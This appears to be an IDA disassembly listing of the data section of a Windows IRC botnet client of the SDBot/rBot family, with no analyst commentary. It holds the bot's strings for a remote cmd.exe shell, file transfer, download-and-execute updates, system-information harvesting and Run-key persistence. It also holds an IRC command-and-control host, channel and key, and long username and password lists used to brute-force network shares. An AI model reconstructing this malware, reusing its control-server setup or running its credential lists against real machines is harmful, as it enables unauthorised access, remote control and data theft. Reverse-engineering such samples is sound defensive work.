dword_42B6D0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A71A+194o
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 4
dword_42B718 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A71A+14Co
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A71A+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A8CF+39o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40A9D8+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40A9D8+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A9D8:loc_40AB3Co
align 4
word_42B85C dw 3Fh ; DATA XREF: sub_40A9D8:loc_40AADAr
; sub_40C18B+1Fo
align 10h
dword_42B860 dd 28207325h, 297325hdword_42B868 dd 3F3F3Fh ; .text:loc_41418Co
a2003 db '2003',0 ; DATA XREF: sub_40A9D8+BAo
; .text:0042C4ECo ...
align 4
aXp db 'XP',0 ; DATA XREF: sub_40A9D8+AAo
; .text:00414177o ...
align 4
a2k db '2K',0 ; DATA XREF: sub_40A9D8+98o
; .text:00414167o
align 4
aMe db 'ME',0 ; DATA XREF: sub_40A9D8+7Eo
; .text:0041414Eo
align 10h
a98 db '98',0 ; DATA XREF: sub_40A9D8+6Co
; .text:0041413Eo
align 4
aNt db 'NT',0 ; DATA XREF: sub_40A9D8+5Ao
; .text:0041412Eo
align 4
a95 db '95',0 ; DATA XREF: sub_40A9D8+46o
; .text:00414120o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40AC8C+ABo
align 4
off_42B8CC dd offset loc_412F4E ; DATA XREF: sub_40AC8C:loc_40AD00o
dword_42B8D0 dd 4E414Ch dword_42B8D4 dd 6C616944h, 70752Dhdword_42B8DC dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0unk_42B8F0 db 2 ; DATA XREF: sub_40AD52:loc_40AF0Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 4
unk_42B934 db 2 ; DATA XREF: sub_40AD52:loc_40AF08o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42B974 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AD52+1A6o
dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch
dd 2E4C5255h, 2 dup(0)
unk_42B9A8 db 2 ; DATA XREF: sub_40AD52:loc_40AEEBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42B9F8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AD52+192o
dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h
dd 2E646574h, 0
dword_42BA28 dd 2A2F2Ah dword_42BA2C dd 202E6425h, 3D207325h, 732520hdword_42BA38 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B078+60o
align 4
dword_42BA6C dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_40B118+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BAA4 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B18A+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_42BAD4 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B18A+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h
dword_42BAF8 dd 80000002h off_42BAFC dd offset aSoftwareMicr_0 ; DATA XREF: sub_40B2B9+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 42C360h, 80000001h, 42C398h
dword_42BB10 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B459+170o
dd 2029206Ch, 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42BB58 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B459+ABo
dd 2029206Ch, 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42BB9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B459+47o
; sub_40B61A+FDo
dd 2029206Ch, 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42BBD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+362o
; sub_40B9BC+156o
dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h
dd 2E726Fh
dword_42BC00 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+2FAo
dd 2029206Ch, 2BBBB02h
aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BC54 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+202o
dd 2029206Ch, 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42BC8C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+1CBo
dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h
dd 2E7475h
dword_42BCB8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40B61A+16Ao
dd 169h
dword_42BCD0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+127o
dd 2029206Ch, 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42BD04 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+82o
dd 2029206Ch, 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42BD3C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+44o
dd 2029206Ch, 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 8
dword_42BD78 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+1CFo
dd 2029206Ch, 2BBBB02h
aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 10h
dword_42BDD0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+CBo
dd 2029206Ch, 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42BE04 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+ABo
dd 2029206Ch, 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_40B9BC+97o
dword_42BE48 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+83o
dd 2029206Ch, 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 4
unk_42BE8C db 2 ; DATA XREF: sub_40BBF7+480o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 10h
unk_42BED0 db 2 ; DATA XREF: sub_40BBF7+472o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
align 10h
unk_42BF20 db 2 ; DATA XREF: sub_40BBF7+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42BF74 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: sub_40BBF7+34Do
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40BBF7+32Bo
; sub_40CD3A+297Bo ...
align 10h
unk_42BFB0 db 2 ; DATA XREF: sub_40BBF7+2D6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_42BFFC db 2 ; DATA XREF: sub_40BBF7+257o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_42C038 db 2 ; DATA XREF: sub_40BBF7+1CDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 10h
unk_42C080 db 2 ; DATA XREF: sub_40BBF7:loc_40BD8Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 8
unk_42C0C8 db 2 ; DATA XREF: sub_40BBF7+191o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
unk_42C114 db 2 ; DATA XREF: sub_40BBF7+77o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_40C18B:loc_40C1CEo
; sub_4134AF+104o ...
aInvalid db 'Invalid',0 ; DATA XREF: sub_40C18B:loc_40C1C8o
aDisk db 'Disk',0 ; DATA XREF: sub_40C18B:loc_40C1C2o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40C18B:loc_40C1BCo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C18B:loc_40C1B6o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40C18B:loc_40C1B0o
aFailed db 'failed',0 ; DATA XREF: sub_40C21C:loc_40C2F4o
; sub_40C337+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_40C21C+6Bo
align 10h
dword_42C190 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C337+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 10h
dword_42C1E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C337+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 10h
aA_1 db 'A:\',0 ; DATA XREF: sub_40C409:loc_40C44Eo
align 8
dword_42C238 dd 1B58h ; sub_40C574+451r
dword_42C23C dd 1A0Bh dword_42C240 dd 1AA6h dword_42C244 dd 0CCEh ; sub_40CD3A+4E09r
dword_42C248 dd 158Dh ; sub_40CD3A:loc_411C34r
dword_42C24C dd 1 dword_42C250 dd 1 dword_42C254 dd 1 ; sub_40C574:loc_40C89Er
byte_42C258 db 78h ; DATA XREF: sub_40C0D6:loc_40C0E2r
; sub_40CD3A+A99r ...
align 4
dword_42C25C dd 7 ; sub_413F42+51r ...
dword_42C260 dd 1 ; sub_40CD3A+26Er ...
aIds99 db 'ids99',0 ; DATA XREF: sub_40C574+67o
; sub_40CD3A+3C7Bo ...
align 4
aEnz999_9b db 'enz 999.9b',0 ; DATA XREF: sub_40CD3A:loc_4126FCo
align 4
aHi db 'hi',0 ; DATA XREF: sub_40CD3A+5B32o
; sub_40CD3A+5BF5o
align 4
aDd_leetz_info db 'dd.leetz.info',0 ; DATA XREF: sub_40C574+389o
; sub_40C574+442o
align 4
aDd_0 db '#dd',0 ; DATA XREF: sub_40C574+3AAo
; sub_40C574+458o
aDpass db 'dpass',0 ; DATA XREF: sub_40C574+3C1o
; sub_40C574+46Ao
align 4
byte_42C298 db 64h ; DATA XREF: sub_40C574:loc_40C9F4r
; sub_40C574+48Eo
db 64h, 2Eh, 6Ch
dd 7A746565h, 666E692Eh, 6Fh
dword_42C2A8 dd 646423h aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C574+4B6o
align 4
byte_42C2B4 db 6Ch ; DATA XREF: sub_40282F+84o
; sub_403166+Fo ...
db 6Eh, 74h, 65h
dd 74656E72h, 6578652Eh, 0
dword_42C2C4 dd 65746E6Ch, 74656E72h, 642E3233h, 6C6Chdword_42C2D4 dd 69706F54h, 6E6C2063h, 6E726574h, 7465hdword_42C2E4 dd 54484848h, 2Dh, 65746E6Ch, 74656E72h, 6578652Eh, 0
; DATA XREF: sub_413F42+12o
dword_42C2FC dd 692Bh dword_42C300 dd 66666623h, 0 ; sub_40CD3A+4C6Eo
dword_42C308 dd 66666623h, 0 dword_42C310 dd 66666623h, 0 a78789 db '78789',0 ; DATA XREF: sub_40282F+9Ao
align 10h
aDd db 'dd',0 ; DATA XREF: sub_40282F+95o
align 4
aDd_ db 'dd.',0 ; DATA XREF: sub_40282F+90o
off_42C328 dd offset a@room ; DATA XREF: sub_40CD3A+5B95r
; "*@room"
off_42C32C dd offset aMirc1_7_99 ; DATA XREF: sub_40CD3A+87Dr
; "mirc 1.7.99"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .text:off_42BAFCo
align 10h
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_414500+28o
; sub_414826+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_414500+D4o
; sub_414826+D4o
align 4
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
dd offset aAs ; "as"
dd offset asc_43362C ; "x"
dd offset aZ_1 ; "z"
dd offset aA_2 ; "a"
align 10h
off_42C440 dd offset byte_43B658 ; DATA XREF: sub_404EC7:loc_404F57r
; sub_404EC7+9Co
dd offset a@_11 ; "!@#$"
dd offset a@_10 ; "!@#$%"
dd offset a@_9 ; "!@#$%^"
dd offset a@_8 ; "!@#$%^&"
dd offset a@_7 ; "!@#$%^&*"
dd offset asc_4335F4 ; "%"
dd offset dword_42645C
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a007 ; "007"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a110 ; "110"
dd offset a111 ; "111"
dd offset a111111 ; "111111"
dd offset a11111111 ; "11111111"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a88888888 ; "88888888"
dd offset aAdmin_0 ; "Admin"
dd offset aAdministrado_0 ; "Administrador"
dd offset aAdministrate_0 ; "Administrateur"
dd offset aAdministrator ; "Administrator"
dd offset aAl3x ; "Al3x"
dd offset aAlex ; "Alex"
dd offset aAlexander ; "Alexander"
dd offset aBoth ; "BOTH"
dd offset aCheck ; "CHECK"
dd offset aCht ; "CHT"
dd offset aChangeme ; "Changeme"
dd offset aDefault_0 ; "Default"
dd offset aDell ; "Dell"
dd offset aFiles ; "FILES"
dd offset aFull_0 ; "FULL"
dd offset aGast ; "Gast"
dd offset aGuest ; "Guest"
dd offset aInviter ; "Inviter"
dd offset aLocal ; "LOCAL"
dd offset aLogin ; "Login"
dd offset aM_1 ; "M$"
dd offset aMp ; "MP"
dd offset aMs ; "MS"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aNd ; "ND"
dd offset aNilez ; "Nilez"
dd offset aOem ; "OEM"
dd offset aOwner_0 ; "Owner"
dd offset aPassword ; "Password"
dd offset aRage ; "RAGE"
dd offset aRead ; "READ"
dd offset aRoot_0 ; "ROOT"
dd offset off_4333B4
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aRoss ; "Ross"
dd offset aServer_1 ; "SERVER"
dd offset aShare_0 ; "SHARE"
dd offset aSystem_0 ; "SYSTEM"
dd offset aStandard ; "Standard"
dd offset aTest ; "Test"
dd offset aUnknown ; "Unknown"
dd offset aUser_1 ; "User"
dd offset aWrite ; "WRITE"
dd offset aWindowsxp ; "WindowsXP"
dd offset aA_2 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aAbc123 ; "abc123"
dd offset aAbcd ; "abcd"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccess ; "access"
dd offset aAccount ; "account"
dd offset aAccounting ; "accounting"
dd offset aAccounts ; "accounts"
dd offset aAction ; "action"
dd offset aAda ; "ada"
dd offset aAdam ; "adam"
dd offset aAdm ; "adm"
dd offset aAdmin123 ; "admin123"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAfro ; "afro"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbatross ; "albatross"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlexande ; "alexande"
dd offset aAlf ; "alf"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlpha ; "alpha"
dd offset aAlphabet ; "alphabet"
dd offset aAma ; "ama"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndromache ; "andromache"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnn ; "ann"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsian ; "asian"
dd offset aAsm ; "asm"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtmosphere ; "atmosphere"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBackup ; "backup"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBeethoven ; "beethoven"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBicameral ; "bicameral"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBilly ; "billy"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBla ; "bla"
dd offset aBlack ; "black"
dd offset aBlank ; "blank"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBob ; "bob"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBruce ; "bruce"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBsd ; "bsd"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCad ; "cad"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCampanile ; "campanile"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCapitol ; "capitol"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
